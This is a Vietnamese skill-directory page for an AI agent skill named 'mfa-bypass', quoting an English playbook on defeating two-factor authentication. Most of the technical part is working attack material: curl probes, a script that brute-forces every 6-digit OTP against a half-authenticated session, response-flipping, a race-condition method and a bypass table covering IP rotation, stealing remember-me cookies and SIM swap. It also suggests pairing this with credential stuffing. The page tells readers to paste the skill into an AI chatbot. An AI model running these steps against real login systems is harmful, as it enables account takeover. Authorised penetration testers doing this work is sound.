mfa-bypass
Skill này làm gì
Skill này giải thích cách kiểm tra hai lớp có thể thất bại, gồm can thiệp phản hồi, giới hạn tốc độ yếu và luồng đặt lại bỏ qua bước thứ hai. Dành cho người kiểm thử bảo mật.
Khi nào nên dùng
- ✓Khi một trang dùng mã dùng một lần hoặc kiểm tra hai lớp và bạn muốn kiểm thử chúng.
- ✓Khi một rà soát bảo mật hỏi liệu kiểm tra hai lớp có giới hạn tốc độ hoặc khóa tài khoản không.
- ✓Khi việc đặt lại mật khẩu hoặc thiết bị được ghi nhớ có thể bỏ qua lớp thứ hai.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/mfa-bypass/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Bạn có thể kiểm tra xem mã hai lớp trên trang đăng nhập của tôi có thể bị đoán bằng cách thử nhiều mã không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent lập bản đồ các bước lẽ ra phải yêu cầu lớp thứ hai, gửi mã sai để xem có giới hạn nào áp dụng không, rồi kiểm tra các luồng khác như đặt lại hoặc ghi nhớ đăng nhập xem có bỏ qua kiểm tra không.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
MFA / 2FA Bypass Playbook
Logic flaws in the second factor are pure ATO. Common because devs ship the happy path (enter code → success) and forget the negative paths: response tampering, brute force, replay, race, alternate flows, remembered devices.
1. Detection — map the 2FA surface
Enumerate every flow that should require a second factor:
# 1. Inventory paths involved in step-up
for p in /login /login/2fa /api/2fa/verify /mfa/verify /account/security \
/account/email /account/password /password/reset /password/reset/confirm \
/oauth/authorize /api/session /api/session/elevate /backup-codes; do
curl -s -o /dev/null -w "%{http_code} $p\n" "https://<TARGET>$p"
done
# 2. Submit a wrong OTP — what does the response look like?
curl -s -i -X POST "https://<TARGET>/api/2fa/verify" \
-H 'Content-Type: application/json' -H "Cookie: session=<HALF_AUTHED>" \
-d '{"code":"000000"}'
# 3. Rate-limit probe — burst 20 wrong codes
for i in $(seq 1 20); do
printf '%s ' "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: session=<HALF_AUTHED>" -d "{\"code\":\"$(printf '%06d' $i)\"}")"
done; echo
# If no 429 / lockout → brute force is open
2. Flaw matrix
| Class | Symptom | Bypass |
|---|---|---|
| Response manipulation | server returns {"success":false} but client trusts it |
intercept → flip to true |
| Status-code tamper | 401 vs 200 only checked client-side | rewrite 401 → 200 in proxy |
| Flag tamper | mfa_required=true in JWT/JSON |
edit to false, resign / unsigned alg |
| No rate limit | unlimited wrong OTPs | 6-digit OTP = 10⁶ — brute over hours |
| Per-IP limit only | limit on attacker IP, not on user | rotate IPs / X-Forwarded-For |
| OTP reuse | same code valid after use | replay last code in a new session |
| OTP no expiry | code from yesterday still works | mine old SMS / email |
| Predictable OTP | seeded by userid/timestamp |
precompute |
| Backup-code abuse | unlimited tries, codes never expire / not invalidated | brute backup codes endpoint |
| Race condition | two requests in flight — both succeed | parallel POSTs (HTTP/2 single-packet attack) |
| Missing 2FA on flow | /login enforces, /api/login does not |
use alternate endpoint |
| Missing 2FA on password change | password change re-enables full session | reset → skip 2FA |
| Password reset skips 2FA | reset token logs you in without 2FA | abuse reset link |
| OAuth / SSO skips 2FA | social login returns a fully-authed session | login via Google instead |
| Remember-me cookie | persistent cookie skips 2FA forever | steal remember-me via XSS / log leak |
| Direct object access | /api/account works on half-authed session |
call protected APIs pre-2FA |
| Enrollment race | attacker enrolls own TOTP for victim before victim does | hit /2fa/enroll first post-login |
| Recovery channel takeover | SMS → SIM swap, email → email ATO | downstream factor compromise |
3. Exploit PoC
3.1 Brute-force a 6-digit OTP (no rate limit)
COOKIE='session=<HALF_AUTHED>'
for i in $(seq 0 999999); do
CODE=$(printf '%06d' $i)
CODE_LEN=${#CODE}
RES=$(curl -s -o /dev/null -w '%{http_code}' -X POST \
"https://<TARGET>/api/2fa/verify" -H 'Content-Type: application/json' \
-H "Cookie: $COOKIE" -d "{\"code\":\"$CODE\"}")
[ "$RES" = "200" ] && { echo "HIT: $CODE"; break; }
(( i % 1000 == 0 )) && echo "tried $i ..."
done
3.2 Response-flip bypass
# Original server response
HTTP/1.1 200 OK
{"success":false,"mfa":"required"}
Rewrite at the proxy:
HTTP/1.1 200 OK
{"success":true,"mfa":"passed"}
If the SPA only inspects JSON to decide navigation, session cookie is already full-authed server-side and the redirect succeeds.
3.3 Direct post-2FA endpoint access
# Half-authed cookie after username+password, BEFORE OTP
curl -s "https://<TARGET>/api/account" -H "Cookie: session=<HALF_AUTHED>"
# If it returns full account data → broken step-up.
3.4 Race condition (HTTP/2 single-packet)
# Use Turbo Intruder "single-packet attack" — fire ~30 verify requests with the
# *correct* OTP in one TCP packet; servers that decrement attempts non-atomically
# accept multiple, and 2FA-disable mutations slip through.
4. Chains
- MFA bypass → ATO is itself the chain endpoint. Pair with credential stuffing for scale.
- Password reset skips 2FA → ATO
Câu hỏi thường gặp
Can thiệp phản hồi nghĩa là gì ở đây?
Nó nghĩa là thay đổi phản hồi của máy chủ, như cờ thành công, để xem ứng dụng có chuyển tiếp mà không cần mã hợp lệ không.
Nó có kiểm tra giới hạn số lần đoán không?
Có. Nó gửi một loạt mã sai để kiểm tra xem có giới hạn tốc độ hoặc khóa tài khoản nào xuất hiện không.
Race condition có được bao gồm không?
Có. Skill liệt kê race condition là một cách khiến kiểm tra hai lớp thất bại.
Chi tiết
Mô tả gốc của tác giả
2FA / OTP logic flaws — response & status tampering, brute force, OTP reuse, backup-code abuse, race conditions, missing-2FA on flows, remember-me bypass, password-reset skips 2FA.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14071
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.